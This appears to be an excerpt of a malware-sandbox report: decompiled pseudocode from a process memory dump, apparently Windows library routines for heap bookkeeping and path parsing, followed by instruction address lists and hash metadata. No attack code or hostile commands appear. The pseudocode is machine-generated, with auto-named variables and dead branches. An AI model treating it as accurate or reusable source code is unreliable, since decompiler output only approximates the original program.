														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E00DEF3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E00DEF3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E00DEFA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E00DEFA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E00DEF3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E00DEF3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E00E74CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E00DFD130(_t427, _t494, _t511);
				}
			}

0x00e75ba5
0x00e75baa
0x00e75baf
0x00e75bb4
0x00e75bb6
0x00e75bbc
0x00e75bbe
0x00e75bc4
0x00e75bcd
0x00e75bd3
0x00e75bd6
0x00e75bdc
0x00e75be0
0x00e75be3
0x00e75beb
0x00e75bf2
0x00e75bf8
0x00e75bfe
0x00e75c04
0x00e75c0e
0x00e75c18
0x00e75c1f
0x00e75c25
0x00e75c2a
0x00e75c2c
0x00e75c32
0x00e75c3a
0x00e75c3f
0x00e75c42
0x00e75c48
0x00e75c5b
0x00e75c5b
0x00e75c2c
0x00e75cb7
0x00e75cb9
0x00e75cbf
0x00e75cc2
0x00e75cca
0x00e75ccb
0x00e75ccb
0x00e75cd1
0x00e75cd7
0x00e75cda
0x00e75ce1
0x00e75ce4
0x00e75ce7
0x00e75ced
0x00e75cf3
0x00e75cf9
0x00e75cff
0x00e75d08
0x00e75d0a
0x00e75d0e
0x00e75d10
0x00000000
0x00000000
0x00e75d16
0x00e75d1a
0x00000000
0x00000000
0x00e75d20
0x00e75d22
0x00e75d25
0x00e75d2f
0x00e75d2f
0x00e75d33
0x00e75d3d
0x00e75d49
0x00e75d4b
0x00000000
0x00000000
0x00e75d5a
0x00e75d5d
0x00e75d60
0x00000000
0x00000000
0x00e75d66
0x00e75d69
0x00000000
0x00000000
0x00e75d6f
0x00e75d6f
0x00e75d73
0x00e75d79
0x00e75d7f
0x00e75d86
0x00e75d95
0x00e75d98
0x00e75dba
0x00e75dcb
0x00e75dce
0x00e75dd3
0x00e75dd6
0x00e75dd8
0x00e75de6
0x00e75dec
0x00e75dee
0x00e75df1
0x00e75df3
0x00e7635a
0x00e7635a
0x00000000
0x00e7635a
0x00e75dfe
0x00e75e02
0x00e75e05
0x00e75e07
0x00e75e10
0x00e75e13
0x00e75e1b
0x00e75e1c
0x00e75e21
0x00e75e22
0x00e75e23
0x00e75e25
0x00e75e2a
0x00e75e2c
0x00e75e2e
0x00e75e36
0x00e75e39
0x00e75e42
0x00e75e47
0x00e75e4d
0x00e75e54
0x00e75e54
0x00e75e54
0x00e75e2e
0x00e75e5c
0x00e75e5f
0x00e75e62
0x00e75e64
0x00e75e6b
0x00e75e70
0x00e75e7a
0x00e75e7a
0x00e75e7a
0x00e75e6b
0x00e75e7e
0x00e75e7f
0x00e75e7f
0x00e75e81
0x00e75e87
0x00e75e8b
0x00e75e8c
0x00e75e8c
0x00e75e8c
0x00e75e9a
0x00e75e9c
0x00e75ea2
0x00e75ea6
0x00e75f50
0x00e75f50
0x00e75f57
0x00e75f66
0x00e75f66
0x00e75f66
0x00e75f68
0x00e75f6a
0x00e763d0
0x00000000
0x00e75f70
0x00e75f70
0x00e75f91
0x00e75f9c
0x00e75f9e
0x00e75fa4
0x00e75fa6
0x00e7638c
0x00e76392
0x00e763a1
0x00e763a7
0x00e763af
0x00e763af
0x00e763bd
0x00e763d8
0x00000000
0x00e763d8
0x00e75fac
0x00e75fb2
0x00e75fb4
0x00e75fbd
0x00e75fc6
0x00e75fce
0x00e75fd4
0x00e75fdc
0x00e75fec
0x00e75fed
0x00e75fee
0x00e75fef
0x00e75ff9
0x00e75ffa
0x00e75ffb
0x00e75ffc
0x00e76000
0x00e76004
0x00e76012
0x00e76012
0x00e76018
0x00e76019
0x00e7601a
0x00e7601b
0x00e7601c
0x00e76020
0x00e76059
0x00e7605c
0x00e76061
0x00e76061
0x00e76022
0x00e76022
0x00e76022
0x00e76025
0x00e7602a
0x00e7602b
0x00e76031
0x00e76037
0x00e76038
0x00e7603e
0x00e76048
0x00e76049
0x00e7604a
0x00e7604b
0x00e7604c
0x00e7604d
0x00e76053
0x00e76054
0x00e76054
0x00e76062
0x00e76065
0x00e76067
0x00e7606a
0x00e76070
0x00e76075
0x00e76076
0x00e76081
0x00e76087
0x00e76095
0x00e76099
0x00e7609e
0x00e760a4
0x00e760ae
0x00e760b0
0x00e760b3
0x00e760b6
0x00e760b8
0x00e760ba
0x00e760ba
0x00e760ba
0x00e760ba
0x00e760be
0x00e760c0
0x00e760c5
0x00e760c5
0x00e760c5
0x00e760c6
0x00e760cd
0x00e76114
0x00e760cf
0x00e760cf
0x00e760d4
0x00e760d5
0x00e760da
0x00e760db
0x00e760e1
0x00e760e2
0x00e760e8
0x00e760f8
0x00e760fd
0x00e760fe
0x00e76102
0x00e76104
0x00e76107
0x00e76109
0x00e7610b
0x00e7610b
0x00e7610b
0x00e7610b
0x00e7610f
0x00e7610f
0x00e76117
0x00e7611a
0x00e7611f
0x00e76125
0x00e76134
0x00e76139
0x00e7613f
0x00e76146
0x00e76148
0x00e7614b
0x00e7614d
0x00e7614f
0x00e7614f
0x00e7614f
0x00e7614f
0x00e76153
0x00e76159
0x00e76159
0x00e7615c
0x00e76163
0x00e76169
0x00e7616c
0x00e76172
0x00e76181
0x00e76186
0x00e76187
0x00e7618b
0x00e76191
0x00e76195
0x00e761a3
0x00e761bb
0x00e761c0
0x00e761c3
0x00e761cc
0x00e761d0
0x00e761dc
0x00e761de
0x00e761e1
0x00e761e4
0x00e761e6
0x00e761e8
0x00e761e8
0x00e761e8
0x00e761e8
0x00e761e6
0x00e761ec
0x00e761f3
0x00e76203
0x00e76209
0x00e7620a
0x00e76216
0x00e7621d
0x00e76227
0x00e76241
0x00e76246
0x00e7624c
0x00e76257
0x00e76259
0x00e7625c
0x00e7625e
0x00e76260
0x00e76260
0x00e76260
0x00e76260
0x00e7625e
0x00e76264
0x00e76267
0x00e76269
0x00e76315
0x00e76315
0x00e7631b
0x00e7631e
0x00e76324
0x00e76327
0x00e7632f
0x00e76330
0x00e76333
0x00e7633a
0x00e7633c
0x00e76335
0x00e76335
0x00e76335
0x00e7633f
0x00e76342
0x00e7634c
0x00e76352
0x00e76355
0x00e76355
0x00e76359
0x00000000
0x00e7626f
0x00e76275
0x00e76275
0x00e76278
0x00e7627e
0x00e7627e
0x00e76281
0x00e76287
0x00e7628d
0x00e76298
0x00e7629c
0x00e762a2
0x00e7629e
0x00e7629e
0x00e7629e
0x00e762a7
0x00e762a7
0x00e762aa
0x00e762b0
0x00e762f0
0x00e762f0
0x00e762f2
0x00e762f8
0x00e762fd
0x00e762b2
0x00e762b2
0x00e762b2
0x00e762b5
0x00e762dd
0x00e762e2
0x00e762e5
0x00e762b7
0x00e762b8
0x00e762bb
0x00e762bd
0x00e762c0
0x00e762c4
0x00e762cd
0x00e762cd
0x00e762c0
0x00e762bb
0x00e762b5
0x00e76302
0x00e76303
0x00e76305
0x00e76305
0x00e76305
0x00e7630c
0x00e7630c
0x00000000
0x00e7627e
0x00e76269
0x00e75eac
0x00e75ebb
0x00e75ebe
0x00e75ecb
0x00e75ecb
0x00e75ece
0x00e75ece
0x00e75ed4
0x00e75ed7
0x00e75ed9
0x00e75edb
0x00e75edb
0x00e75ee1
0x00e75ee1
0x00e75ee3
0x00e75f20
0x00e75f20
0x00e75ee5
0x00e75ee5
0x00e75ee5
0x00e75ee8
0x00e75f11
0x00e75f18
0x00e75eea
0x00e75eea
0x00e75eed
0x00e75ef2
0x00e75ef8
0x00e75efb
0x00e75f0a
0x00e75f0a
0x00e75eed
0x00e75ee8
0x00e75f22
0x00e75f28
0x00000000
0x00000000
0x00e75f30
0x00e75f31
0x00e75f37
0x00e75f3a
0x00e75f3d
0x00e75f44
0x00000000
0x00000000
0x00000000
0x00e75f46
0x00e75f48
0x00e75f4d
0x00000000
0x00e75f4d
0x00e75dda
0x00e75ddf
0x00000000
0x00e75ddf
0x00e75dd8
0x00e75da7
0x00e75da9
0x00e75dac
0x00e75dae
0x00000000
0x00e75db4
0x00e75db4
0x00000000
0x00e75db4
0x00e75dae
0x00e75d88
0x00e75d8d
0x00e76363
0x00e76369
0x00e7636a
0x00e76370
0x00e76372
0x00e7637a
0x00e7637b
0x00e7637d
0x00000000
0x00000000
0x00e7637f
0x00e76385
0x00000000
0x00e76385
0x00e75d38
0x00e75d3b
0x00000000
0x00000000
0x00000000
0x00e75d3b
0x00e75d27
0x00e75d29
0x00000000
0x00000000
0x00000000
0x00e76360
0x00000000
0x00e76360
0x00e75c10
0x00e75c10
0x00e763da
0x00e763e5
0x00e763e5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd04778a517632a8ca4c65d410e30f9ce148eb189f57a9935c98ebabab5d4ce5
Instruction ID: b32952aa3025a0058d36c07f86f5fde115723f439da64122a0201f5b25f63e51
Opcode Fuzzy Hash: cd04778a517632a8ca4c65d410e30f9ce148eb189f57a9935c98ebabab5d4ce5
Instruction Fuzzy Hash: 05424A75A00669CFDB24CF68C881BA9B7B1FF49308F14C1AAD94DAB242D7749E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00DC4120 Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00DC4120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0xe9d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E00DDF232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = L00DC6E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L00DC4620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = L00DC6E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M00DC45F8))) {
												case 0:
													_v568 = 0xd81078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0xd811c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L00DC4620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															L00DEF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															L00DEF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E00DA52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E00DBEB70(1, 0xe979a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E00DBAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E00DE95D0();
																			L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return L00DEB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = L00DE3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return L00DEB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x00dc4128
0x00dc4135
0x00dc413c
0x00dc4141
0x00dc4145
0x00dc4147
0x00dc414e
0x00dc4151
0x00dc4159
0x00dc415c
0x00dc4160
0x00dc4164
0x00dc4168
0x00dc416c
0x00dc417f
0x00dc4181
0x00dc446a
0x00dc446a
0x00dc418c
0x00dc4195
